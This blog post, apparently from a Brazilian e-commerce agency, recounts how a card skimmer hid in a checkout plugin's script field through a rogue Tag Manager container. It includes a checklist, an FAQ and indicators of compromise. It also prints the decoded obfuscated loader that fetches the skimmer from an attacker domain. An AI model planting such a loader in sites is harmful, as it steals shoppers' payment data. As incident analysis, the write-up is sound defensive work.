Sua loja já foi invadida uma vez? Confira se o golpe não ficou escondido
O que aconteceu, em resumo
Uma loja WooCommerce que já tinha sido limpa depois de uma invasão continuou, por semanas, com um golpe de cartão ativo no checkout: um formulário falso que capturava número, validade e código de segurança de quem comprava. O golpe não estava em nenhum arquivo do site — estava numa única linha de configuração de um plugin, e por isso o antivírus do WordPress não viu nada.
Quando uma loja é invadida, a limpeza costuma focar no que é mais visível: contas falsas, arquivos alterados, senhas. Neste caso, isso foi feito — e mesmo assim o golpe continuou rodando.
Neste post contamos como achamos esse golpe, por que ele sobrevive a uma limpeza comum e deixamos um checklist para você conferir a sua loja.
O sintoma: cartão de crédito dentro do boleto
Ao escolher boleto no checkout, o cliente via campos de cartão em inglês, com as bandeiras Visa, Mastercard e Amex: “Card number”, “Expiration” e “CVC”. Três detalhes não batiam:
- Lugar errado: os campos ficavam dentro da opção de boleto, que não pede cartão.
- Idioma errado: a loja é toda em português e não usa gateway de cartão internacional.
- Aparecia às vezes: no computador e no celular, mas não em toda visita.
No inspetor do navegador, o formulário tinha o nome __privateStripeFrame, a assinatura do Stripe. Essa pista parecia óbvia, e foi justamente ela que nos fez perder tempo.
Por que parecia um bug comum: as quatro pistas falsas
O problema foi notado logo depois de uma atualização de plugins. Culpar a atualização era o caminho natural, e estava errado.
| Pista | Por que parecia | O que mostramos |
|---|---|---|
| É o Stripe | O formulário tinha o nome do Stripe | O Stripe nunca era carregado. O plugin já tinha sido removido e não havia chave nem script dele na página |
| É o plugin de pagamento | A atualização tinha acabado de rodar | Voltamos a versão anterior do gateway e o problema continuou |
| É cache da CDN | Algo antigo sendo servido | Limpamos o cache e confirmamos que o site nem passava pela CDN |
| É extensão do navegador | O servidor não entregava o script | Testamos no celular, pela rede móvel, em janela anônima: continuava |
O último teste mudou tudo. Se o servidor não entrega o script e o problema não é do navegador, então algum serviço de fora que a página carrega está injetando o código na hora.
Como descobrimos o golpe
- Olhamos dentro do formulário, não para o nome dele. Um formulário real do Stripe vem de outro domínio, justamente para o site não conseguir ler o que você digita. Este vinha do mesmo domínio da loja. Ou seja: foi montado por um script da página, que conseguia ler tudo o que o cliente digitava.
- Perguntamos quem criou o formulário. Num navegador real, registramos o momento em que o script malicioso era criado. A resposta apontou para um container do Google Tag Manager que nem a agência nem o cliente conheciam.
- Achamos o endereço escondido. Baixamos o container e procuramos o domínio do golpe: zero resultados. O endereço estava embaralhado, invisível para qualquer busca por texto.
- Descobrimos como o container entrava no site. Não estava no tema nem em plugin de analytics. Estava no campo “script externo” do FunnelKit Aero Checkout, um recurso legítimo para colocar pixels só no checkout. Isso explicava por que o golpe aparecia apenas ali.
O trecho decodificado da tag maliciosa:
for(var a=[51,47,47,43,40,97,116,116,57,50,55,63,63,50,53,60,49,52,62,55,55,40,117,56,52,54,116,60,40],
b="",c=0; c<a.length; b+=String.fromCharCode(a[c++]^91));
a=document.createElement("script"); a.src=b; a.async=!0; document.head.appendChild(a)
// resultado: https://bilddingjoells.com/gs
Por que o golpe sobreviveu à limpeza
Comparando um backup do banco de antes da invasão com um de depois da limpeza, a origem apareceu.
| Fase | O que aconteceu |
|---|---|
| Descoberta | O formulário falso é notado e o golpe é cortado na origem |
| Troca de domínio | Dias antes, o atacante registra um novo domínio e atualiza o container para apontar para ele |
| Limpeza | As contas falsas são removidas e a porta de entrada é fechada |
| Primeiro domínio | O atacante registra o primeiro domínio do golpe |
| Invasão | Ao longo de cerca de três semanas, uma ferramenta de invasão cria dezenas de contas de administrador falsas |
Enquanto tinha acesso de administrador, o atacante gravou o container dele no campo de script do plugin de checkout. Esse é o ponto que quase toda limpeza deixa passar: ela foca em contas, arquivos e senhas, e os campos de configuração dos plugins ficam de fora. Uma linha ali basta para o golpe continuar rodando.
E o atacante nem precisava voltar ao site. Para trocar o domínio do golpe, bastava republicar o container no painel do Google.
O que não conseguimos provar, porque o servidor guardava log de apenas um dia: a requisição exata que criou as contas e o momento exato em que o campo foi alterado.
O que fizemos
- Contenção: antes de entender a causa, publicamos um script que escondia e removia o formulário falso, protegendo os clientes enquanto a investigação seguia.
- Preservação de provas: antes de remover qualquer coisa, salvamos o container, o código do golpe, a página do checkout e os backups do banco, cada um com sua assinatura digital. É isso que sustenta o aviso ao adquirente e aos titulares dos dados.
- Remoção na origem: esvaziamos o campo de script do plugin de checkout e confirmamos, num navegador real e sem a proteção temporária, que o golpe não carregava mais.
- Endurecimento: logs guardados por 90 dias em vez de 1, troca das chaves de sessão e das senhas do banco, remoção de acessos antigos ao banco e desativação de um plugin sem licença.
Um aviso sobre esconder o problema só com CSS: além de não funcionar em todos os casos, deixa o formulário falso funcionando, só que invisível. É pior do que deixar à vista.
Checklist: sua loja já foi invadida? Confira isto
Depois de qualquer invasão
- ☐ Compare as configurações do banco com um backup de antes do ataque.
- ☐ Revise os campos de “script externo”, “código do cabeçalho” e “CSS/JS personalizado” de todos os plugins, principalmente os de checkout e funil.
- ☐ Abra o checkout em janela anônima, várias vezes, e veja se aparece algo estranho.
Scripts de terceiros
- ☐ Liste todos os domínios que carregam scripts no seu checkout e confirme que reconhece cada um.
- ☐ Para cada container do Google Tag Manager na página, confirme que a conta é sua e revise as tags personalizadas e o histórico de versões.
- ☐ Remova ferramentas de terceiros que você não usa mais.
Acessos
- ☐ Verificação em duas etapas para todos os administradores do WordPress e nas contas do Tag Manager e do analytics.
- ☐ Revise a lista de administradores e ative um alerta para quando um novo for criado.
- ☐ Feche o
xmlrpc.phpe o endpoint/wp-json/batch/v1se você não usa.
Plugins
- ☐ Nada de plugin pago sem licença (“nulled”). Mesmo sem vírus, ele deixa de receber correções de segurança.
- ☐ Plugin de checkout e de pagamento sempre licenciado e atualizado.
Operação
- ☐ Guarde logs do servidor por pelo menos 90 dias.
- ☐ Backup diário e datado do banco, com cópia fora do servidor. Sem dois backups datados, este caso não teria sido resolvido.
Perguntas frequentes
Não necessariamente. Uma limpeza comum remove contas e arquivos, mas um golpe pode ficar numa linha de configuração de plugin. Vale conferir os campos de script e comparar o banco com um backup antigo.
É um código que mostra um formulário de cartão falso no checkout, ou copia o que o cliente digita, e envia os dados para o golpista. Também é chamado de ataque Magecart.
Não neste caso. O antivírus olha arquivos, e aqui não havia arquivo infectado: o golpe era uma linha de configuração apontando para um container hospedado no Google.
Abra o checkout em janela anônima com o inspetor do navegador e veja quais domínios carregam scripts. Desconfie de qualquer um que você não reconheça. Um formulário de pagamento verdadeiro vem de outro domínio; se o console consegue ler o conteúdo dele, é falso.
Não. O formulário falso é desenhado pelo golpista, não pelo seu gateway. Foi exatamente o que aconteceu aqui.
O Tag Manager não é a falha. O problema é carregar um container que não é seu, ou deixar alguém sem controle publicar tags nele. Quem controla o container controla o que roda na sua página.
Nem sempre, e neste caso não encontramos porta dos fundos. O risco certo é outro: o plugin para de receber correções de segurança e fica vulnerável.
Trate como expostos os pedidos feitos durante o incidente, avise o adquirente (exigência do PCI-DSS) e avalie com um advogado a comunicação aos titulares pela LGPD.
Não. Os dados saem do navegador do cliente direto para o golpista, sem passar pelo seu servidor. O que se faz é cortar o golpe, guardar provas e notificar.
Ligue a verificação em duas etapas em todos os acessos, revise os campos de script dos plugins de checkout e garanta logs de 90 dias com backup diário do banco.
Indicadores de ataque
Publicamos os dados do atacante para que outras equipes possam procurar o mesmo golpe.
| Tipo | Valor |
|---|---|
| Domínio do golpe (atual) | bilddingjoells.com |
| Domínio do golpe (anterior) | fdsldcxses.com |
| IP | 45.59.125.62 |
| URL do script | https://bilddingjoells.com/gs |
| Container do Tag Manager | GTM-XXXXXXXX (ID real informado ao Google) |
| SHA256 do script | edb1456f4b3ad46a9e7668dd963e35ab989bb6959df27bb5917d09555a9f7209 |
| Sinal no navegador | Formulário __privateStripeFrame do mesmo domínio da loja, sem endereço de origem, numa página que não carrega o Stripe |
| Campo a conferir no FunnelKit Aero Checkout | _wfacp_global_settings → wfacp_global_external_script |
Sua loja já passou por uma invasão?
A TMW atende lojas de e-commerce há mais de 25 anos. Depois deste caso, criamos uma auditoria de checkout que confere exatamente o que uma limpeza comum deixa passar: campos de script dos plugins, containers do Tag Manager, configurações do banco e teste em navegador real.
Se sua loja já foi invadida, ou se você notou algo estranho no checkout, fale com a gente.
Conhecer a auditoria de checkout · WhatsApp (19) 98830-0000